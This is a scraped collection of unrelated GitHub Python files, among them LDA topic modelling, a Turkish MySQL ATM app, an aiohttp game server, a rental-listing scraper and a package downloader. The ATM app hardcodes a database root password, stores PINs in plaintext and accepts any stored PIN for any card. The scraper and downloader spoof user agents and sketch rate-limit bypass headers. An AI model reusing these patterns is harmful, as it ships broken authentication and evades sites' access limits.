doc=d_n[pie[n]]\r\n           \r\n           C_d[doc][topic]=C_d[doc][topic]-1\r\n           C_t[topic][word]=C_t[topic][word]-1\r\n\r\n           for k in range(K):\r\n               P[k]=((C_t[k][word]+beta)/(V*beta+np.sum(C_t[k]))*((C_d[doc][k]+alpha))/(K*alpha+np.sum(C_d[doc])))\r\n           \r\n           P=P/np.sum(P)\r\n\r\n           topic=np.random.multinomial(1, P).argmax()\r\n           \r\n           z_n[pie[n]]=topic\r\n\r\n           C_d[doc][topic]=C_d[doc][topic]+1\r\n           C_t[topic][word]=C_t[topic][word]+1\r\n\r\n# Get dictionary of words for each topic\r\n   dict1={}\r\n   for j in range(K):\r\n       dict1[j]={}\r\n   \r\n   for w in range(len(z_n)):\r\n       if corpus[w] not in dict1[z_n[w]]:\r\n           dict1[z_n[w]][corpus[w]]=1\r\n       else:\r\n           dict1[z_n[w]][corpus[w]]+=1\r\n   \r\n   # Calculating the topic representations\r\n   Pt=np.zeros((D,K))\r\n   for i in range(D):\r\n       for k in range(K):\r\n           Pt[i][k]=(C_d[i][k]+alpha)/(K*alpha+np.sum(C_d[i]))\r\n\r\n   Pt=np.hstack((l,Pt))\r\n   Pt = Pt[Pt[:,0].argsort()]\r\n   \r\n   # Get the total time taken\r\n   total_time=time.process_time() - start_time\r\n   print(total_time)\r\n   \r\n   # Save both the representations as CSV files to be used in task 2\r\n   np.savetxt('topic-rep.csv',Pt,delimiter=',')\r\n   np.savetxt('bag-of-words-rep.csv',A,delimiter=',')\r\n   \r\n   # Get the top five words in each topic\r\n   last={}\r\n   for t in dict1:\r\n       high=nlargest(5,dict1[t],key=dict1[t].get)\r\n       last[t]=high\r\n\r\n    # Save the top five words in each topic in a file\r\n   with open('topicwords.csv', 'w') as f:\r\n        for key in last:\r\n            f.write(\"%s,\"%key)\r\n            for val in range(len(last[key])):\r\n                f.write(\"%s,\"%(last[key][val]))\r\n            f.write(\"\\n\")","repo_name":"dhruvabhavsar/Topic-Modelling-Latent-Dirichlet-allocation","sub_path":"LDA.py","file_name":"LDA.py","file_ext":"py","file_size_in_byte":4571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"29568155744","text":"from os import device_encoding\r\nimport mysql.connector\r\nimport pyfiglet\r\nimport time\r\nimport sys\r\n\r\nconnection = mysql.connector.connect(host=\"localhost\",user=\"root\",password=\"mysql1234\",database=\"banka\")\r\ncursor = connection.cursor()\r\n\r\nclass ATM():\r\n    def __init__(self):\r\n        self.connection = connection\r\n        self.cursor = cursor\r\n\r\n\r\n    def kayit_ol(self):\r\n        ad = input(\"Adınız : \")\r\n        soyad = input(\"Soyadınız : \")\r\n        kartno = input(\"kart numaranız : \")\r\n        sifre = input(\"kart şifreniz : \")\r\n        bakiye = \"0\"\r\n\r\n        sql = \"INSERT INTO atm(ad,soyad,kartno,sifre,bakiye) VALUES (%s,%s,%s,%s,%s)\"\r\n        values = (ad,soyad,kartno,sifre,bakiye)\r\n        self.cursor.execute(sql,values)\r\n\r\n        try:\r\n            self.connection.commit()\r\n            print(f\"{ad} {soyad} ---> {kartno} kart numarasıyla sisteme başarıyla kaydedildi \")\r\n        except mysql.connector.Error as err:\r\n            print(\"Hata!\",err)\r\n        finally:\r\n            print(\"Veritabanı bağlantısı kesildi\")\r\n            self.connection.close()\r\n\r\n\r\n    def giris_yap(self):\r\n        kartno = input(\"kart numaranız : \")\r\n        sifre = input(\"Kart şifreniz : \")\r\n    \r\n        # kart no alcaz\r\n        sql = \"Select kartno from atm\"\r\n        self.cursor.execute(sql)\r\n        kartNoları = self.cursor.fetchall()\r\n\r\n        for kartNo in kartNoları:\r\n            kartNo = kartNo[0]\r\n            if kartno == kartNo:\r\n                sql = \"Select sifre from atm\"\r\n                self.cursor.execute(sql)\r\n                sifreler = self.cursor.fetchall()\r\n                for psw in sifreler:\r\n                    psw = psw[0]\r\n                    if psw == sifre:\r\n                        print(\"Başarıyla giriş yapıldı!\")\r\n                        break\r\n                else:\r\n                    print(\"Lütfen girdiğiniz kart numarası veya 4 haneli kart şifrenizi kontrol ediniz!\")\r\n\r\n\r\n    def para_yatir(self):\r\n        kartno = input(\"kart numaranız : \")\r\n        sifre = input(\"Kart şifreniz : \")\r\n    \r\n        sql = \"Select kartno from atm\"\r\n        self.cursor.execute(sql)\r\n        kartNoları = self.cursor.fetchall()\r\n\r\n        for kartNo in kartNoları:\r\n            kartNo = kartNo[0]\r\n            if kartno == kartNo:\r\n                sql = \"Select sifre from atm\"\r\n                self.cursor.execute(sql)\r\n                sifreler = self.cursor.fetchall()\r\n                for psw in sifreler:\r\n                    psw = psw[0]\r\n                    if psw == sifre:\r\n                        sql = \"Select bakiye from atm where kartno=%s\"\r\n                        values = (kartno,)\r\n                        self.cursor.execute(sql,values)\r\n                        old_bakiye = self.cursor.fetchall()\r\n                        for bakiye in old_bakiye:\r\n                            bakiye = bakiye[0]\r\n                            eklenecek = input(\"Lütfen bakiyenize eklemek istediğiniz tutarı giriniz : \")\r\n                            new_bakiye = int(bakiye) + int(eklenecek)\r\n                            sql = \"Update atm Set bakiye=%s where kartno=%s\"\r\n                            values = (new_bakiye,kartno)\r\n                            self.cursor.execute(sql,values)\r\n                            try:\r\n                                self.connection.commit()\r\n                            except mysql.connector.Error as err:\r\n                                print(\"Hata!\",err)\r\n                            finally:\r\n                                print(f\"Yeni bakiyeniz --> {new_bakiye}\")\r\n\r\n            else:\r\n                print(\"Lütfen girdiğiniz kart numarası veya 4 haneli kart şifrenizi kontrol ediniz!\")\r\n        \r\n    \r\n    def para_cek(self):\r\n        kartno = input(\"kart numaranız : \")\r\n        sifre = input(\"Kart şifreniz : \")\r\n    \r\n        sql = \"Select kartno from atm\"\r\n        self.cursor.execute(sql)\r\n        kartNoları = self.cursor.fetchall()\r\n\r\n        for kartNo in kartNoları:\r\n            kartNo = kartNo[0]\r\n            if kartno == kartNo:\r\n                sql = \"Select sifre from atm\"\r\n                self.cursor.execute(sql)\r\n                sifreler = self.cursor.fetchall()\r\n                for psw in sifreler:\r\n                    psw = psw[0]\r\n                    if psw == sifre:\r\n                        sql = \"Select bakiye from atm where kartno=%s\"\r\n                        values = (kartno,)\r\n                        self.cursor.execute(sql,values)\r\n                        old_bakiye = self.cursor.fetchall()\r\n                        for bakiye in old_bakiye:\r\n                            bakiye = bakiye[0]\r\n                            cekilecek = input(\"Lütfen bakiyenizden çekmek istediğiniz tutarı giriniz : \")\r\n                            new_bakiye = int(bakiye) - int(cekilecek)\r\n                            if new_bakiye >= 0:\r\n                                sql = \"Update atm Set bakiye=%s where kartno=%s\"\r\n                                values = (new_bakiye,kartno)\r\n                                self.cursor.execute(sql,values)\r\n                                try:\r\n                                    self.connection.commit()\r\n                                except mysql.connector.Error as err:\r\n                                    print(\"Hata!\",err)\r\n                                finally:\r\n                                    print(f\"Yeni bakiyeniz --> {new_bakiye}\")\r\n                                    self.connection.close()\r\n                            else:\r\n                                print(f\"Çekebileceğiniz maximum tutar : {bakiye} tl'dir!\")\r\n\r\n            else:\r\n                print(\"Lütfen girdiğiniz kart numarası veya 4 haneli kart şifrenizi kontrol ediniz!\")\r\n\r\n\r\nmusteri = ATM()\r\ndef main():\r\n    print(pyfiglet.figlet_format(\"_made by_ ->DyshoxX<-\"))\r\n    choice = input(\"\"\"\r\n    1 - hesap ekle\r\n    2 - giriş yap\r\n    3 - para yatır\r\n    4 - para çek\r\n    5 - çıkış yap\r\n    ===>  \"\"\")\r\n    if choice == \"1\":\r\n        print(\"yükleniyor...\")\r\n        time.sleep(1)\r\n        musteri.kayit_ol()\r\n\r\n    elif choice == \"2\":\r\n        print(\"yükleniyor...\")\r\n        time.sleep(1)\r\n        musteri.giris_yap()\r\n\r\n    elif choice == \"3\":\r\n        print(\"yükleniyor...\")\r\n        time.sleep(1)\r\n        musteri.para_yatir() \r\n\r\n    elif choice == \"4\":\r\n        print(\"yükleniyor...\")\r\n        time.sleep(1)\r\n        musteri.para_cek()\r\n\r\n    elif choice == \"5\":\r\n        print(\"Çıkılıyor...\")\r\n        time.sleep(1)\r\n        sys.exit() \r\n\r\nmain()\r\nwhile True:\r\n    print(pyfiglet.figlet_format(\"----------\"))\r\n    devam = input(\"Başka işlem yapmak istiyor musunuz ? (e/h) :\")\r\n    if devam == \"e\":\r\n        main()\r\n    elif devam == \"h\":\r\n        break \r\n","repo_name":"DyshoxX/Some-projects","sub_path":"ATM-mysql/atm.py","file_name":"atm.py","file_ext":"py","file_size_in_byte":6755,"program_lang":"python","lang":"tr","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"7998382672","text":"import chart_studio.plotly as py\nimport plotly.graph_objects as go\nimport plotly.io as pio\nimport numpy as np\nimport pandas as pd\n\n# Read the data.\ndata = pd.read_csv('./example-fingerprints/fingerprints.csv')\n\nd = data['domain']\n#x = data['total_number_packets']\n#y = data['no_incoming_packets']\n#z = data['no_outgoing_packets']\nx = data['total_incoming_sizes']\ny = data['ratio_incoming_to_outgoing']\nz = data['total_number_packets']\n\nxt = []\nyt = []\nzt = []\ndata = []\n\nfor i in range(0, len(x)):\n    if i == len(x) - 1 or d[i] != d[i + 1]:\n        data.append(go.Scatter3d(x=xt, y=yt, z=zt, mode='markers', \\\n            marker=dict(), name=d[i]))\n\n        xt = []\n        yt = []\n        zt = []\n    else:\n        xt.append(x[i])\n        yt.append(y[i])\n        zt.append(z[i])\n\nlayout = go.Layout(margin=dict(l=0, r=0, b=0, t=0))\n\nfig = go.Figure(data=data, layout=layout)\npio.write_html(fig, file='graphs/graph.html', auto_open=True)\n\n","repo_name":"wisepythagoras/website-fingerprinting","sub_path":"graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"47"}
{"seq_id":"3065309892","text":"import sys;\nlst = []\nwhile(1):\n\tword = sys.stdin.readline().rstrip();\n\tif(len(word) == 0):\n\t\tbreak\n\tlst.append(word)\n\t\n\t\ndef check(a, b):\n\tcount = 0\n\t\n\tif (len(a) != len(b)):\n\t\treturn False\n\t\n\tfor i in range(len(a)):\n\t\tif (a[i] != b[i]):\n\t\t\tcount += 1\n\t\tif (count >= 2):\n\t\t\treturn False\n\t\n\tif (count == 1):\n\t\treturn True\n\t\n\treturn False\n\t\n\t\nwhile(1):\n\tpair = sys.stdin.readline().split();\n\tif (len(pair) == 0):\n\t\tbreak\n\t\n\tif(len(pair[0]) != len(pair[1])):\n\t\tprint(\"No solution.\")\n\t\tprint(\"\")\n\t\tcontinue\n\t\n\tnewLst = lst.copy()\n\tflag = False\n\tq=[]\n\tq.append([pair[0]])\n\n\n\twhile(len(q)):\n\t\ttmpLst = q.pop(0)\t\n\t\ttmp = tmpLst[-1]\n\t\tnewLst.remove(tmp)\n\t\t\n\t\tif (tmp == pair[1]):\n\t\t\tprint(\"\\n\".join(tmpLst))\n\t\t\tprint(\"\")\n\t\t\tflag = True\n\t\t\tbreak\n\t\t\n\t\t\n\t\tfor word in newLst:\n\t\t\tif (check(tmp, word)):\n\t\t\t\tq.append(tmpLst + [word])\n\n\t\t\n\tif(not flag):\n\t\tprint(\"No solution.\")\n\t\tprint(\"\")\n\t\t\n\t\t\n\t\t\n\t\t\n\t","repo_name":"SoleMin/Algorithmic_Problems","sub_path":"110307/5.py","file_name":"5.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"14205119126","text":"import math\nimport numpy as np\n\n#\ndef get_lines_positions(id):\n    f = open(\"/home/windos/.local/share/ov/pkg/IsaacSim/OmniIsaacGymEnvsNew/omniisaacgymenvs/tasks/utils/roblearn/karten/0-\"+str(id)+\".world\", \"r\")\n    arr_x1y1 = []\n    arr_x2y2 = []\n\n\n    for line in f:\n        x1y1 = []\n        x2y2 = []\n        if line[0] == 'l':\n            words = line.split()\n            x1y1.append(words[1])\n            x1y1.append(words[2])\n            x2y2.append(words[3])\n            x2y2.append(words[4])\n            arr_x1y1.append(x1y1)\n            arr_x2y2.append(x2y2)\n    np1 = np.array(arr_x1y1,dtype=float)\n    np2 = np.array(arr_x2y2, dtype= float)\n\n\n    #print(arr_x1y1)\n    #print(np1)\n    f.close()\n    return (np1, np2)\n\n\ndef get_line_length(x1y1, x2y2):\n    return round(math.sqrt((x2y2[0] - x1y1[0]) ** 2 + (x2y2[1] - x1y1[1]) ** 2), 2)\n\n\ndef get_line_pos(x1y1, x2y2):\n    return [(x1y1[0] + x2y2[0]) / 2.0, (x1y1[1] + x2y2[1]) / 2.0]\n\n\n# print(get_line_length([-2,1],[4,-3]))\n# print(get_line_pos([2,3],[8,6]))\n\ndef get_lines_poss_lengths(arr_x1y1, arr_x2y2):\n    lenths=[]\n    poss= []\n    for x1y1, x2y2 in zip(arr_x1y1, arr_x2y2):\n\n        #get_line_pos(x1y1,x2y2)\n        lenths.append( get_line_length(x1y1,x2y2))\n        poss.append((get_line_pos(x1y1,x2y2)))\n    print(poss)\n    print(lenths)\n    return (poss,lenths)\n\n\n\n\n#arrs = get_lines_positions()\n#poss = get\n#poss_lenths = get_lines_poss_lengths(arrs[0], arrs[1])\n#print(poss_lenths)\n","repo_name":"tareq-kh/isaacSimAbgabe","sub_path":"OmniIsaacGymEnvsNew/omniisaacgymenvs/tasks/utils/roblearn/map_factory.py","file_name":"map_factory.py","file_ext":"py","file_size_in_byte":1457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"879507496","text":"def return_value():\n    return stack.pop()\n\ndef load_const():\n    stack.append(consts[oparg])\n\ndef load_name():\n    stack.append(name_map[names[oparg]])\n\ndef store_name():\n    names[arg] = stack.pop()\n\ndef load_build_class():\n    stack.append(__build_class__())\n\n\ndef make_function():\n    func_name = stack.pop()\n    func_code = stack.pop()\n\n    param_names = None\n    param_annotations = deque()   \n    param_annotations_num = oparg >> 16 & 0x7fff\n    if param_annotations_num:\n        param_names = stack.pop() # param_names is tuple\n        for _ in range(param_annotations_num):\n            param_annotations.appendleft(stack.pop())\n\n    kw_arg_num = oparg >> 8 & 0xff\n        \n        \n\ndef call_function():\n    pos_args_num = 0xff & oparg\n    kw_args_num = 0xff & oparg >> 8\n\n    args = deque()\n    kwargs = dict()\n\n    for _ in range(kw_args_num):\n        v, k = stack.pop(), stack.pop()\n        kwargs[k] = v\n    \n    for _ in range(pos_args_num):\n        pos_args.appendleft(stack.pop())\n\n    func_name = stack.pop()\n    try:\n        func_code = name_map[func_name] # TOS is function name\n    except KeyError: # built-in function \n        func_code = _globals[func_name]\n\n    result = interpret(func_code, _globals, args, kwargs)\n    stack.append(result)\n\n\ndef import_name():\n    module_name = co_names[oparg]\n    fromlist = stack.pop()\n    level = stack.pop()\n    stack.append(__import__(module_name, fromlist, level))\n","repo_name":"nanwu/bci","sub_path":"instructions.py","file_name":"instructions.py","file_ext":"py","file_size_in_byte":1429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"35121009763","text":"def change_direction(word):\n    new_word = ''\n\n    for w in word:\n        if w == '(':\n            new_word += ')'\n        else:\n            new_word += '('\n\n    return new_word\n\n\ndef is_correct_word(word):\n    stack = []\n\n    for w in word:\n        if w == '(':\n            stack.append(w)\n            continue\n\n        if not stack:\n            return False\n\n        stack.pop()\n\n    if stack:\n        return False\n\n    return True\n\n\ndef split_word(word):\n    left_cnt = 0\n    right_cnt = 0\n\n    for i in range(len(word)):\n        if word[i] == '(':\n            left_cnt += 1\n        else:\n            right_cnt += 1\n\n        if left_cnt == right_cnt:\n            break\n\n    return [word[:left_cnt + right_cnt], word[left_cnt + right_cnt:]]\n\n\ndef solution(word):\n    if not word:\n        return ''\n\n    u, v = split_word(word)\n\n    if is_correct_word(u):\n        return u + solution(v)\n\n    empty_word = '('\n\n    empty_word += solution(v)\n\n    empty_word += ')'\n\n    empty_word += change_direction(u[1:-1])\n\n    return empty_word\n\n\n# print(solution(\"(()())()\"))\n# print(solution(\")(\"))\n# print(solution(\"()))((()\"))\n","repo_name":"Gyusik-Choi/algorithm","sub_path":"this-is-coding-test/이것이코딩테스트다_13장_괄호변환_4.py","file_name":"이것이코딩테스트다_13장_괄호변환_4.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"6952542955","text":"'''\n434. Number of Segments in a String\n\nGiven a string s, return the number of segments in the string.\n\nA segment is defined to be a contiguous sequence of non-space characters.\n\n \n\nExample 1:\n\nInput: s = \"Hello, my name is John\"\nOutput: 5\nExplanation: The five segments are [\"Hello,\", \"my\", \"name\", \"is\", \"John\"]\nExample 2:\n\nInput: s = \"Hello\"\nOutput: 1\n\n'''\nclass Solution:\n    def countSegments(self, s: str) -> int:\n        return len(s.split())\n\n#less time\nclass Solution:\n    def countSegments(self, s: str) -> int:\n        s = s.strip()\n\n        if len(s) == 0:\n            return 0\n\n        spaces = 0\n        for i, char in enumerate(s):\n            if s[i] == ' ' and i < len(s)-1 and s[i+1] != ' ':\n                spaces += 1\n        return spaces + 1\n\n#less memory\nclass Solution:\n    def countSegments(self, s: str) -> int:\n        c=1\n        d=\"\"\n        a=[]\n        for i in range(len(s)):\n            print(s[i])\n            if s[i] !=\" \":\n                d+=s[i]\n            else:\n                if d!=\"\":\n                    a.append(d)\n                d=\"\"\n        if d!=\"\":\n            a.append(d)\n        return(len(a))\n","repo_name":"Nidhunkumar/Leet_Code_Python","sub_path":"Leet_Code_Python/Easy/Number_of_segments_in_a_string.py","file_name":"Number_of_segments_in_a_string.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"11053294547","text":"from game.main import Game\nfrom common.coordinates import Coord\nfrom common.utils import GameEncoder\nimport datetime\nimport json\n\nimport asyncio\nfrom aiohttp import web, WSMsgType\nfrom faker import Faker\n\nimport logging\n\n\nlog = logging.getLogger(__name__)\n\n\nclass GameServer(object):\n    def __init__(self):\n        self.game = Game()\n        self.ts = datetime.datetime.now()\n\n    def move(self, item: int, x: int, y: int):\n        return self.game.moveItem(item, Coord(x, y))\n\n    def to_json(self):\n        info = self.game.to_json()\n        info['ts'] = f'{self.ts}'\n        return info\n\n\ndef dumps(data):\n    return json.dumps(data, cls=GameEncoder)\n\n\ndef processData(game, data):\n    if isinstance(data, list):\n        for m in data:\n            item = int(m.get('item'))\n            x = int(m.get('x'))\n            y = int(m.get('y'))\n            success = game.move(item, x, y)\n    else:\n        item = int(data.get('item'))\n        x = int(data.get('x'))\n        y = int(data.get('y'))\n        success = game.move(item, x, y)\n    result = game.to_json()\n    result['success'] = success\n    return result\n\n\ndef get_game(app, id):\n    game = app['games'].get(id)\n    if game is None:\n        game = GameServer()\n        app['games'][id] = game\n        app['websockets'][id] = {}\n    return game\n\n\nasync def http_get_handler(request):\n    id = request.match_info['id']\n    game = get_game(request.app, id)\n    return web.json_response(game.to_json(), dumps=dumps)\n\n\nasync def http_post_handler(request):\n    data = await request.json()\n    id = request.match_info['id']\n    game = get_game(request.app, id)\n    result = processData(game, data)\n    return web.json_response(result, dumps=dumps)\n\n\nasync def send_to_game(app, id, message):\n    for name in app['websockets'][id]:\n        try:\n            await app['websockets'][id][name].send_json(message, dumps=dumps)\n        except Exception as e:\n            log.error('Error %s', e)\n            del app['websockets'][id][name]\n\n\nasync def websocket_handler(request):\n    id = request.match_info['id']\n    game = get_game(request.app, id)\n    ws = web.WebSocketResponse(heartbeat=60, autoping=True, receive_timeout=90)\n    await ws.prepare(request)\n\n    name = Faker().name()\n    log.info('%s joined.', name)\n\n    await send_to_game(request.app, id, {'action': 'connect', 'name': name})\n\n    request.app['websockets'][id][name] = ws\n\n    async for msg in ws:\n\n        if msg.type == WSMsgType.text:\n            if msg.data == 'restart':\n                game = GameServer()\n                request.app['games'][id] = game\n                await send_to_game(request.app, id, game.to_json())\n                continue\n            if msg.data == 'open':\n                game.game.openAll()\n                await send_to_game(request.app, id, game.to_json())\n                continue\n            if msg.data == 'close':\n                await send_to_game(request.app, id, {\"action\": \"close\"})\n                break\n            if msg.data == 'status':\n                await ws.send_json({'id': id, 'websockets': [\n                    s for s in request.app['websockets'][id]\n                ]})\n                continue\n            result = None\n            try:\n                result = processData(game, json.loads(msg.data))\n            except Exception as e:\n                log.error('Error: %s, Wrong socket data: %s', e, msg.data)\n            if result is not None:\n                await send_to_game(request.app, id, result)\n        else:\n            continue\n\n    del request.app['websockets'][id][name]\n    log.info('%s disconnected.', name)\n    send_to_game({'action': 'disconnect', 'name': name})\n\n    return ws\n\n\nasync def shutdown(app):\n    for id in app['websockets']:\n        for ws in app['websockets'][id].values():\n            await ws.close()\n            app['websockets'][id].clear()\n    app['websockets'].clear()\n\n\ndef create_runner():\n    app = web.Application()\n    app.add_routes([\n        web.get('/{id}',  http_get_handler),\n        web.post('/{id}', http_post_handler),\n        web.get('/ws/{id}', websocket_handler),\n    ])\n    app['games'] = {}\n    app['websockets'] = {}\n    app.on_shutdown.append(shutdown)\n    return web.AppRunner(app)\n\n\nasync def start_server(host=\"0.0.0.0\", port=8000):\n    runner = create_runner()\n    await runner.setup()\n    site = web.TCPSite(runner, host, port)\n    await site.start()\n\n\ndef run():\n    loop = asyncio.get_event_loop()\n    loop.run_until_complete(start_server())\n    loop.run_forever()\n\n\nif __name__ == \"__main__\":\n    logging.basicConfig(level=logging.DEBUG)\n    run()\n","repo_name":"egno/jackal-game","sub_path":"gameserver.py","file_name":"gameserver.py","file_ext":"py","file_size_in_byte":4594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"34411554462","text":"from bs4 import BeautifulSoup\r\nimport requests\r\nfrom parsel import Selector\r\nimport pandas as pd\r\nimport time\r\nfrom pandas.core.frame import DataFrame\r\nfrom fake_useragent import UserAgent\r\nua = UserAgent()\r\nheaders={    \r\n    \"User-Agent\":ua.ie\r\n}\r\nrequests.adapters.DEFAULT_RETRIES = 40\r\n\r\ndef j_par(url):\r\n    \r\n    wr=requests.get(url,headers=headers,stream=True)    \r\n    sel=Selector(wr.text)\r\n    soup = BeautifulSoup(wr.text, 'lxml')\r\n    oth= soup.find_all(class_=\"special clearfix\")\r\n    oth_2=soup.find_all(class_=\"des\")\r\n    \r\n    '''房源名'''\r\n    h_nam=sel.xpath('//div[@class=\"content\"]/div[@class=\"wrap pb80\"]/ul[@class=\"fyuan-list\"]/li/a/div[@class=\"des\"]/p[@class=\"tit\"]/text()').extract()\r\n\r\n    '''房型'''\r\n    h_typ=sel.xpath('//div[@class=\"content\"]/div[@class=\"wrap pb80\"]/ul[@class=\"fyuan-list\"]/li/a/div[@class=\"des\"]/div[@class=\"room\"]/span[1]/text()').extract()\r\n    \r\n    '''面积'''\r\n    h_siz=sel.xpath('//div[@class=\"content\"]/div[@class=\"wrap pb80\"]/ul[@class=\"fyuan-list\"]/li/a/div[@class=\"des\"]/div[@class=\"room\"]/span[2]/text()').extract()\r\n    \r\n    '''楼层'''\r\n    h_flo=sel.xpath('//div[@class=\"content\"]/div[@class=\"wrap pb80\"]/ul[@class=\"fyuan-list\"]/li/a/div[@class=\"des\"]/div[@class=\"room\"]/span[3]/text()').extract()\r\n    \r\n    '''优势'''\r\n    h_sep=[]\r\n    for tag in oth:\r\n        if tag.get_text()==\"\\n\":\r\n            h_sep.append(\" \")\r\n        else:\r\n            h_sep.append(tag.get_text().strip().replace('\\n','',0).replace('\\n',','))\r\n    \r\n    h_tra2=[]\r\n    for tag in oth_2:\r\n        if tag.find(class_=\"distance\"):\r\n            h_tra2.append(tag.find(class_=\"distance\").get_text().replace('\\n',''))\r\n        else:\r\n            h_tra2.append(\" \")\r\n    \r\n    '''价格'''\r\n    h_pri=sel.xpath('//div[@class=\"content\"]/div[@class=\"wrap pb80\"]/ul[@class=\"fyuan-list\"]/li/a/div[@class=\"price\"]/span[@class=\"num\"]/text()').extract()\r\n\r\n    '''房源号'''\r\n    a=soup.find_all(\"a\",class_=\"clearfix\")\r\n    h_cod=[]\r\n    for t in a:\r\n        h_cod.append(t.get('href'))\r\n\r\n    '''地址&交通及周边设施'''\r\n    h_add=[]\r\n    h_des=[]\r\n    for c in h_cod:\r\n        ur = \"http://zufang.jiwu.com\"+c\r\n        wr = requests.get(ur,headers=headers,stream=True)\r\n        wesoup=BeautifulSoup(wr.text,'lxml')\r\n        wesoup_1=wesoup.find_all('td') #用于地址\r\n        wesoup_2=wesoup.find('p',class_='fwms').get_text()  #用于设施\r\n\r\n        ''' 地址 '''\r\n        td_content=[]\r\n        for i in wesoup_1:\r\n            td_content.append(i.text)\r\n        length=len(wesoup_1)\r\n        wetd=td_content[length-1]#筛选地址\r\n        h_add.append(wetd)\r\n\r\n        '''交通及周边设施'''\r\n        wesoup_2_des=wesoup_2\r\n        h_des.append(wesoup_2_des)\r\n        \r\n    #将列表转换成字典       \r\n    c={\"h_cod\" : h_cod,\r\n       \"h_nam\" : h_nam,       \r\n       \"h_loc\" : h_add,       \r\n       \"h_typ\" : h_typ,\r\n       \"h_siz\" : h_siz,\r\n       \"h_pri\" : h_pri,\r\n       \"h_flo\" : h_flo,\r\n       \"h_sep\" : h_sep,\r\n       \"h_des\" : h_des}\r\n    \r\n    #将字典转换成为数据框\r\n    pages_info=DataFrame(c)\r\n   \r\n    return pages_info\r\n\r\ndef pp(pages):    \r\n    count=0    \r\n    for page in pages:\r\n        a=j_par(page)\r\n        count=count+1\r\n        print ('the '+str(count)+' page is sucessful')\r\n        time.sleep(5)        \r\n        l=pd.DataFrame(columns=['h_cod','h_nam','h_loc','h_typ','h_siz','h_flo','h_pri','h_sep','h_des'])\r\n        l=pd.concat([l,a],ignore_index=True)    \r\n    return l\r\n\r\nfor p in range(1,8):\r\n    pages=[]\r\n    if p==1:\r\n        pages.append('http://zufang.jiwu.com/gz/gongyu46/')\r\n    else:\r\n        pages.append('http://zufang.jiwu.com/gz/gongyu46/page'+str(p)+'/')\r\n        \r\n    lj=pp(pages)\r\n    lj.to_csv('d:\\\\boyu_gz_futian_10__'+str(p)+'.csv')","repo_name":"Syd-Q/-REITs-","sub_path":"源代码/功能实现代码/爬虫代码/jiwu_wanke_boyu_final.py","file_name":"jiwu_wanke_boyu_final.py","file_ext":"py","file_size_in_byte":3757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"32750882902","text":"import datetime\nimport time\nimport os\nimport sys\nimport traceback\nimport shutil\n\nimport xml.etree.ElementTree as ET\n\nfrom random_user_agent.user_agent import UserAgent\nfrom random_user_agent.params import SoftwareName, OperatingSystem\n\nimport requests\nimport tempfile\nimport zipfile\n\nimport random\nimport socket\nimport ipaddress\n\nimport struct\n\nfrom enum import Enum\n\nimport subprocess\nimport re\n\nfrom urllib.parse import urlparse\n\nfrom sig_generator.chocoinfo import *\n\nfrom config import *\n\nclass AgentRandomizer:\n\n\t\"\"\"Generates random user agents strings\n\n\tAttributes:\n\t\tMAX_LIMIT (int): Max number of randomized useragents\n\t\tOPERATING_SYSTEMS (list): Randomize based on specified OS for e.g Windows, Linux, MAC\n\t\tSOFTWARE_NAMES (list): Randomize based on specified software names for e.g Firefox, Chrome\n\n\t\"\"\"\n\n\t# Read https://pypi.org/project/random-user-agent/ for more info\n\n\tMAX_LIMIT = 100\n\tSOFTWARE_NAMES = [SoftwareName.CHROME.value, SoftwareName.FIREFOX.value]\n\tOPERATING_SYSTEMS = [OperatingSystem.WINDOWS.value,\n\t\t\t\t\t\t OperatingSystem.LINUX.value]\n\n\tdef __init__(self):\n\t\tself._rotator = UserAgent(software_names=self.SOFTWARE_NAMES,\n\t\t\t\t\t\t\t\t  operating_systems=self.OPERATING_SYSTEMS, limit=self.MAX_LIMIT)\n\n\tdef get_random_agent(self) -> str:\n\t\treturn self._rotator.get_random_user_agent()\n\n\nclass Downloader:\n\n\tdef __init__(self, spoof_agent=False, bypass_limit_rate=False):\n\n\t\t# self._bypass_rate_limit = bypass_limit_rate\n\t\tself._spoof_agent = spoof_agent\n\n\t\t# self._limit_bypasser = RateLimitBypass() if bypass_limit_rate else None\n\t\tself._agent_randomizer = AgentRandomizer() if spoof_agent else None\n\n\tdef _generate_headers(self):\n\n\t\tret_headers = {}\n\n\t\t# if self._bypass_rate_limit:\n\t\t#   ret_headers = {**ret_headers, **self._limit_bypasser.gen_headers()}\n\n\t\tif self._spoof_agent:\n\t\t\tret_headers = {**ret_headers, **{'User-Agent': self._agent_randomizer.get_random_agent()}}\n\n\t\treturn ret_headers\n\n\tdef download_url(self, url, save_folder, save_name) -> str:\n\n\t\tprint(\"---download-url\")\n\n\t\tprint(\"save_folder :\", save_folder)\n\t\tprint(\"save_name :\", save_name)\n\n\t\ttry:\n\t\t\tr = requests.get(url, allow_redirects=True,\n\t\t\t\t\t\t\t headers=self._generate_headers())\n\t\t\tsave_path = save_folder+\"\\\\\"+save_name\n\t\t\tprint(\"save_path :\", save_path)\n\n\t\t\topen(save_path, 'wb').write(r.content)\n\t\t\treturn save_name\n\t\t\t# return file_name\n\t\texcept Exception as e:\n\t\t\traise e\n\t\t\treturn \"\"\n\n\nclass PackageInfo(dict):\n\n\tdef __init__(self):\n\t\tself.name = None\n\t\tself.version = None\n\t\tself.dependencies: list = []\n\n\tdef __getattr__(self, attr):\n\t\treturn self[attr]\n\n\tdef __str__(self):\n\t\treturn str(self.__dict__)\n\n\nclass FilesUtility:\n\n\t@staticmethod\n\tdef delete_folder(folder_path) -> 